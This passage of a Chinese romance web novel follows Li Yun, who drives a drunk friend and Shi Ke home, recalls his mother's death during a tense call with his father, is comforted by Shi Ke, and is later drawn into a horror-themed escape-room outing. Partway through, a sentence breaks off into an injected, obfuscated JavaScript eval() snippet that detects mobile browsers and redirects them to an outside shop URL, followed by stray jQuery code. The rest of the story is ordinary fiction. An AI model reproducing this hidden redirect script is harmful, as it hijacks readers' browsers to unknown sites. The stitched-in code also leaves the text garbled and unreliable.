“我……”
难得有黎昀回答不上来的问题，他心底闪过一丝迷惘。
好奇，同情，欣赏，每一种情绪都存在，却又远远不及每次看见那双眼眸时的欢欣。
在黎昀没有察觉到的几个瞬间，有些情愫已经开始变得晦暗不明。
“你俩偷偷干啥呢！”
舒启桐踉踉跄跄地走出来，挥舞着胳膊，手指瞄了半天才找准目标，“是不是背着我吃好吃的了？”
他往两人中间的栏杆一趴，没掌握好力度撞到了小腹，干呕一声，差点儿把肚子里那些汤汤水水全吐出来。
“yue……”
黎昀拽着他的衣服往后扯了一下，用手顺了顺舒启桐的背，说：“楼上都吃完了？”
“有我在，嗝，还能有吃不完的席？”舒启桐边说边笑，打着嗝都没影响他傻乐。
说完，他又转过身体张开手臂，冲着时恪就要抱上去，可惜衣服一直被他哥拽在手里，扑了个空。
舒启桐不悦地扭头：“你干嘛！就许你跟时恪好，我不能和他表示一下感谢了？”
“感谢我什么？”
时恪的酒醒得差不多了，敛去了眼底的水光，只有脸颊还留着浅浅的粉红。
舒启桐笑嘻嘻道：“你的设计太！好！看！啦！”他比了个大拇指，“节目要是拿了奖，肯定！有你的一份功劳。”
“行了，吃完回吧。”黎昀摁下他的胳膊，看了时恪一眼，“上去拿包，我送你们回去。”
时恪低着头，轻轻“嗯”了一声。
黑色宾利平稳地行驶在大路中央，后座的舒启桐已经睡死过去，车里安安静静，偶尔传来几声醉鬼的哼哼。
两人心照不宣的都没再提起刚才的话题。
时恪靠着车窗，路灯的光亮映在脸上一道道掠过，睫毛投下一片沉沉的阴翳。
“吃饱了吗？”黎昀摩挲着方向盘，目视前方，“饿的话回去再给你做点儿。”
时恪也像是快要睡着，默了一会儿才回道：“饱了。”
侧视镜里时恪正慢慢地闭合上眼睛，胸前起伏和缓。
黎昀把声音放得极轻，“嗯，睡会儿吧，送完启桐我们再回家。”
身体仿佛变成了软绵的水，思绪跟着月亮溜走了，只听见两个简单而温暖的词。
我们，回家。
眉头渐渐舒展，黑暗中传来他浅浅的梦呓，“……嗯。”
景禾壹号楼下停了辆车，轰鸣声被切断，黎昀拔出钥匙后却没有下车的动作，时恪的呼吸轻而缓地落在他的身边。
今晚的故事超出了黎昀的想象，那么坎坷，又那么真挚。
时恪问他的感情该如何定义，心头在瞬间落下一圈止不住的涟漪，他既诧异这份感情，又害怕自己没那么单纯的心思是一种伤害。
黎昀自知那些和善，关照，主动都源于恐慌，他讨厌情绪不稳定，讨厌未知，害怕周遭环境超出控制，更害怕有人因为他的“视而不见”导致无法挽回的后果。
一切细枝末节都必须在自己的掌控范围内，包括起初对时恪也是如此。
手机突然亮起，屏幕的光在黑暗中尤为扎眼。
是一条未知用户发来的讯息，尽管没有备注，黎昀也认得这个号码。
他点开查看，只写了简简单单几个字，“我还是希望你来”，随后附上了一张邀请函。
开席前，从商场回火锅店的途中黎昀接了个电话，听筒里男人的声音已经难掩苍老，可说出来的话却依旧高傲。
“都快三十了还耍小孩子脾气？连黎逍都比你懂事。”
“你妈的死是意外，还要我说多少遍，就算你这辈子都不跟我来往，也改变不了你是我儿子的事实！”
握着方向盘的手鼓出青筋，黎昀的喉头滚动了两下，极力压抑着因激动而颤抖的呼吸。
脑海中，那道黑影坠落的速度根本来不及让人反应，血溅在颊边还是温热的，耳边只剩嗡鸣，一片猩红还历历在目。
如果早一些，再早一些察觉到她的情绪，是不是一切都会不同？
黎昀颓然地垂下头，臂膀却像被什么东西硌了一下。
移目看去，是时恪正侧过身体，怀抱里包的拉链碰到了他。
黎昀深深吸了口气，很快收起情绪，转瞬间愁思已不见踪影。
他按了按额角驱散疲态，露出浅笑，说：“醒了？”
时恪醒过来的时候黎昀正倾着背，看不到正脸，一片黑暗中难以察觉他身体的颤抖，但呼吸的节奏暴露了情绪。
尽管黎昀的笑容与平日别无二致，可眼眸里没有一丝笑意。
时恪盯着他的眼睛没有说话。
接着，骨节分明的手在在黎昀的眉头点了一下，指腹微凉，动作轻的像是落了一片羽毛。
“不开心可以不笑，”时恪的声音清冷，语调却像是透过水雾似的柔和，“不用总是面面俱到，情绪偶尔失控也没关系。”
两人的目光交叠，融合，时恪学着他安慰人的样子，轻轻地抚上黎昀的头发，“放过自己，好不好？”
无人的夜里四下静悄悄地，匍匐在树上的蝉也歇了，一切都睡了，唯独黎昀听见心底涟漪荡开时的水波，泠泠作响。
听故事的人是自己，受到安慰的人还是自己。
明明什么都不曾对时恪说过，黎昀自认算不得坦诚，明明眼前的人总是敏感，谨慎，拒人于千里之外，却在清醒时依然选择向他靠近。
黎昀低下头，任由时恪的动作，他贪恋着他掌心的温度，喉间轻微颤动着，然后把吐出的音节包装得平淡沉稳，“好，听你的。”
夏夜潮湿，沁着草木的露水，云朵的雾霭，朦朦胧胧地织出一个混沌的梦。
第二天是个休息日，时恪磨磨蹭蹭地起了床，直到冰凉的水拍在脸上他才恍然昨晚自己都说了些什么。
他思绪清晰，神智清醒，只是一场记不清内容的梦让他的前夜的记忆暂时断了片。
现在回想起来，镜中人呆愣在原地，掌心已经快要遗忘发丝的触感，后知后觉地发着烫。
节目前期事项告一段落，山道专项组的重心由创意组转到技术组，接下来进入首轮复盘。
无非是总结总结这一阶段的工作成果，工作问题，该奖励的奖励，该检讨的检讨，给后续的项目提供一些经验参考。
对于时恪来说，就是可以放缓节奏，调整下精力和状态，至于璨星那边如果没什么事的话，则不用像之前那样去得那么频繁。
比如时恪今天就没什么事，他准备好好清理一下电脑。
周知知从吧台那边走过来，一手拿着咖啡，一手拿着手机敲字，笑得嘴角快要咧到耳朵根上。
“靠！周知知你要不要笑得这么明显。”徐泽文从工位上拍案而起，又羞又愤的样子惹的周围几个同事一起笑了出来。
时恪不明所以的抬头，正好对上周知知的眼睛，她就像找到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309222|152289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一个八卦的出口，兴冲冲地迈着小碎步就来了。
“我跟你说，”周知知把咖啡放在工位，然后拖着椅子坐下，“刚刚我们在群里玩狼人杀，老徐开局发言，‘首先，我是一头良民’，哈哈哈哈哈哈哈！”
周知知笑得直不起腰，半晌一看时恪毫无反应，于是问：“啊，不好笑吗？”
“我没玩过，不懂。”时恪眨了眨眼。
徐泽文顿时忘了刚才的尴尬，惊讶道：“真假？你没玩过狼人杀？”
时恪茫然摇头，听过，没玩过。
兼职侍应生的时候总听客人们提，不过这个不属于他的工作范畴，隔壁有桌游馆，通常客人们玩完了桌游才来清吧喝两杯。
周知知和徐泽文对视一眼，仿佛下定了什么注意，由徐泽文开口，说：“我们这周六和璨星的人约了密室逃脱，要不要来？”
时恪记得舒启桐在饭局上问过自己，不过他拒绝了。
既然连狼人杀都没玩过，更不用提密室逃脱了，他怕自己拖后腿，“不了吧。”
两人遗憾的撇撇嘴，“好吧……”徐泽文不死心，又继续道，“哎呀，要不再考虑考虑？”
周知知点头补充道：“我们不是拉了个群嘛，十几个人，分成两组玩不同主题，一个民国悬疑，一个恐怖追逐类的，现在恐怖组缺人，他们都不敢玩，你再考虑考虑？”
“密室逃脱？”
黎昀洗完澡从浴室出来，浴巾围在腰间，未擦干的水珠顺着线条分明的肌肉滑过腰腹，他将手机放在岛台上，从柜子里拿出咖啡豆开始研磨。
舒启桐的声音从扩音器里传来，“是啊！就上回饭局和山道约的，而且这个密逃工作室在明城可出名了，声光电做得巨牛，全沉浸式，NPC演技那都是专业的。”
“不去。”
黎昀拒绝的干脆，转身按下烧水壶。
“别拒绝的这么快嘛，我们这组确认，好多男生都不敢玩恐怖本，来陪陪我吧哥……”舒启桐努力争取，语气甚是可怜。
“而且，时恪也在我们组，”舒启桐一字一句道，“他好像没玩过，也挺害怕的呢。”
黎昀冲咖啡的动作顿了一下，倒出一小滩水痕落在台面。
“他，害怕？”黎昀沉声道。
舒启桐心道，看来这法子管用！
然后使出浑身解数开始劝玩，“那可不，你想想里头的环境，黑不隆咚的，音效一出，灯光啪啪闪，NPC跟后头死命追你，时恪年纪又小，还从来没玩过，能不怕吗？我都害怕！”
时恪在等红绿灯的间隙逗了逗临街店家的小猫，橘色的煤气罐，嘴边一嘬黄毛，在他的脚边蹭了蹭，“啪唧”一下躺地上了。
他蹲下身一手拿着电话，一手撸猫，熟悉的话题再次被提起。
“我哥，他怕。”舒启桐说得真挚，唉声叹气，“你别看他干啥都手拿把掐的，长那么高有什么用，他怕黑，怕鬼，可害怕了！”
时恪迟疑了一下，耳边仿佛又浮现了黎昀颤抖的呼吸声。
如果不去，他会不会又勉强自己的状态？
时恪挠了挠小猫的下巴，回道：“那……好。”
笑话，谁说找不到人？这人不就来了吗？
事了拂衣去，深藏功与名……是必不可能的。
舒启桐的尾巴快要翘到天上去，屁颠屁颠打开他们的娱乐群聊，在群里奔走相告，收获了一众掌声。
小小密室，轻松拿捏！